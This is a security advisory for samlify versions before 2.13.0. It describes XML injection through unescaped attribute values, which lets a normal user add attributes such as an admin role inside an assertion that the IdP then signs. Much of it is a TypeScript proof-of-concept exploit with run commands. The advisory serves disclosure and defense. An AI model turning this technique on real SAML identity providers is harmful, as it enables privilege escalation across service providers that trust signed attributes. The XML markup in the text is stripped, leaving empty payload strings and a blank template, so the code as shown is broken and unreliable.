GHSA-34r5-q4jw-r36m samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions

• npm samlify: < 2.13.0 → fixed in 2.13.0

Summary samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., ``) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new `` elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups). Root Cause `src/libsaml.ts` → `replaceTagsByValue()` only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text: ``` {attrUserX} ``` Therefore, `…` is accepted and signed. Proof-of-concept • poc/attribute_injection.ts ```TS import { readFileSync } from 'fs'; import * as samlify from '../index'; import * as validator from '@authenio/samlify-xsd-schema-validator'; samlify.setSchemaValidator(validator); const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any; const loginResponseTemplate = { context: '{Issuer}{Issuer}{NameID}{Audience}{AttributeStatement}', attributes: [ { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' }, { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' }, ], }; const idp = IdentityProvider({ privateKey: readFileSync('./test/key/idp/privkey.pem'), privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW', isAssertionEncrypted: false, metadata: readFileSync('./test/misc/idpmeta.xml'), loginResponseTemplate, }); const sp = ServiceProvider({ privateKey: readFileSync('./test/key/sp/privkey.pem'), privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px', isAssertionEncrypted: false, metadata: readFileSync('./test/misc/spmeta.xml'), }); const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => { const now = new Date(); const fiveMinutesLater = new Date(now.getTime() + 300_000); const tvalue = { ID: _idp.entitySetting.generateID(), AssertionID: _idp.entitySetting.generateID(), Destination: _sp.entityMeta.getAssertionConsumerService('post'), Audience: _sp.entityMeta.getEntityID(), SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'), NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress', NameID: user.email, Issuer: _idp.entityMeta.getEntityID(), IssueInstant: now.toISOString(), ConditionsNotBefore: now.toISOString(), ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(), SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(), InResponseTo: 'request-id', StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success', attrUserEmail: user.email, attrUserInjection: user.injection, }; return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) }; }; async function main() { const injection = [ 'safe', '', '', 'admin', '', '', 'safe' ].join(''); const user = { email: '[email protected]', injection }; const { context: SAMLResponse } = await idp.createLoginResponse( sp, { extract: { request: { id: 'request-id' } } }, 'post', user, buildTemplate(idp, sp, 'post', user) ); const xml = util.base64Decode(SAMLResponse, true).toString(); console.log('--- Generated XML snippet ---'); console.log(xml.slice(xml.indexOf('') + 26)); const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } }); console.log('Parsed attributes:', extract.attributes); } main().catch(err => { console.error('PoC failed:', err?.message || err); process.exitCode = 1; }); ``` Run: ``` npm install --legacy-peer-deps npx ts-node poc/attribute_injection.ts ``` Impact A normal user can inject arbitrary attributes (e.g., `role=admin`) into a signed assertion and have them parsed by `sp.parseLoginResponse()`. This can grant elevated privileges in SPs that trust SAML attributes.